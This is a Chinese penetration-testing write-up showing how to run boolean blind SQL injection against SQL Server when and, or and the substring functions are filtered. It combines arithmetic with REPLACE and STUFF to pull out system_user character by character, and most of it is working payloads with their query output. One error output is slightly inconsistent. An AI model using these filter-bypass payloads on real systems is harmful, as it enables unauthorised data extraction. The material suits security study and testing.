0x01 前言
这个问题是我在公司做项目的时候遇到的, 目标有注入, 但是有过滤分别过滤了
and, or, left, right, substring
并且该注入点,没有报错,所以只能进行布尔盲注注入尝试慢慢出数据
对于这里注入出数据有两个难点
1, 站点过滤了 or and
2, 站点过滤了常用的字符串截断函数 left, right, substring
第一个难点可以使用表达式 +, -, *, /
这四个玩意来闭合代码
第二个难点就比较难解决, 但是还是有办法, 那就是 REPLACE函数 + STUFF函数
形成一个另类的字符串截取函数
0x02 相关函数
0x02.1 REPLACE 函数
定义: REPLACE() 返回用 另一个字符串值替换原字符串 中出现的所有 指定字符串值 之后的字符串。
中文语法: REPLACE(原字符串 , 要查找的字符串 , 要替换的字符串)
英文语法: REPLACE(string_expression , string_pattern , string_replacement)
简单的说就是用英文语法 string_replacement 替换 string_expression 中出现的所有 string_pattern
0x02.1.1 例子
# 把所有字符串 a 替换为 1
1> select REPLACE('abcdef', 'a', '1');
2> go
+--------+
| |
+--------+
| 1bcdef |
+--------+
(1 rows affected)
# 把所有字符串 b 替换为 1
1> select REPLACE('abcdef', 'b', '1');
2> go
+--------+
| |
+--------+
| a1cdef |
+--------+
(1 rows affected)
# 把所有字符串 ab 替换为 1
1> select REPLACE('abcdef', 'ab', '1');
2> go
+-------+
| |
+-------+
| 1cdef |
+-------+
(1 rows affected)
0x02.2 STUFF 函数
他并不是一个字符串截取函数,但是我们可以利用他,作为一个字符串截取函数
STUFF 函数将字符串插入到另一个字符串中。
它从第一个字符串的开始位置删除指定长度的字符;
然后将第二个字符串插入到第一个字符串的开始位置。
STUFF(‘要进行修改的数据’ , (int)’开始位置’ , (int)’删除的字符数’ , ‘插入开头的内容’)
0x02.2.1 STUFF 例子
sql server > select STUFF('abcde',1,0,'');
+--------------------------------+
| field1 |
+--------------------------------+
| abcde |
+--------------------------------+
1 row in set (0.00 sec)
sql server > select STUFF('abcde',1,1,'');
+--------------------------------+
| field1 |
+--------------------------------+
| bcde |
+--------------------------------+
1 row in set (0.00 sec)
sql server > select STUFF('abcde',1,2,'');
+--------------------------------+
| field1 |
+--------------------------------+
| cde |
+--------------------------------+
1 row in set (0.00 sec)
0x03 使用例子
看了前面两个函数的例子,到这里应该大概就可以猜到我要怎么操作了!
没错,我要把他们结合起来替代字符串截取函数
因为截图涉及项目,所以这里我没办法把实战的截图放出来,只能在本地测试给你们看了。
注入url:https://xxx.test.cn/xxx/xxx/list.jsp?id=2
注入参数:id
例如注入:system_user
# 要注入的数据
1> select system_user;
2> go
+----+
| |
+----+
| sa |
+----+
(1 rows affected)
# 测试的数据
1> select * from users;
2> go
+----+--------------+-----------+
| id | username | password |
+----+--------------+-----------+
| 1 | test-user-01 | 123456 |
| 2 | test-user-02 | 234567 |
| 3 | testaa | 4444 |
+----+--------------+-----------+
(3 rows affected)
假设现在:https://xxx.test.cn/xxx/xxx/list.jsp?id=2
返回的数据是这样的
1> select * from users where id=2;
2> go
+-----+--------------+-----------+
| id | username | password |
+-----+--------------+-----------+
| 2 | test-user-02 | 234567 |
+-----+--------------+-----------+
(1 rows affected)
那么现在开始注入
只要穷举到返回 id=2 数据 就说明注入成功了
0x03.1 获取 system_user 数据长度
如果想获取某个数据的长度可以这样获取
一直到获取不报错就说明 system_user 等于那个
0x03.1.1 错的情况
1> select * from users where id=2-REPLACE(STUFF(system_user,10,0,''),system_user,0);
2> go
+----+----------+-----------+
| id | username | password |
+----+----------+-----------+
+----+----------+-----------+
(0 rows affected)
返回为空说明 system_user 长度不为 10
1> select * from users where id=2-REPLACE(STUFF(system_user,3,0,''),system_user,0);
2> go
+----+----------+-----------+
| id | username | password |
+----+----------+-----------+
+----+----------+-----------+
(0 rows affected)
返回为空说明 system_user 长度不为 3
0x03.1.2 对的情况
1> select * from users where id=2-REPLACE(STUFF(system_user,2,0,''),system_user,0);
2> go
+--------+------------+-----------+
| id | username | password |
+--------+------------+-----------+
| 2 | test-user-02 | 234567 |
+--------+------------+-----------+
(1 rows affected)
返回了 id=2 的数据,说明 system_user 长度 = 2
0x03.2 system_user 第二位数据
0x03.2.1 错的情况
1> select * from users where id=2-REPLACE(STUFF(system_user,1,1,''),'b',0);
2> go
22018 - [SQL Server]在将 nvarchar 值 'a' 转换成数据类型 int 时失败。
数据库爆错了,说明 system_user 第二位 不等于 b
0x03.2.2 对的情况
1> select * from users where id=2-REPLACE(STUFF(system_user,1,1,''),'a',0);
2> go
+-----+--------------+-----------+
| id | username | password |
+-----+--------------+-----------+
| 2 | test-user-02 | 234567 |
+-----+--------------+-----------+
(1 rows affected)
正常显示出了 id=2 的数据,说明 system_user 第二位 等于 a
0x03.3 system_user 第一位数据
0x03.3.1 错的情况
1> select * from users where id=2-REPLACE(STUFF(system_user,1,0,''),'fa',0);
2> go
22018 - [SQL Server]在将 nvarchar 值 'o' 转换成数据类型 int 时失败。
数据库爆错了,说明 system_user 第一位 不等于 f
0x03.3.2 对的情况
1> select * from users where id=2-REPLACE(STUFF(system_user,1,0,''),'sa',0)
2> go
+-----+--------------+-----------+
| id | username | password |
+-----+--------------+-----------+
| 2 | test-user-02 | 234567 |
+-----+--------------+-----------+
(1 rows affected)
正常显示出了 id=2 的数据,说明 system_user 第一位 等于 s
所以 system_user = sa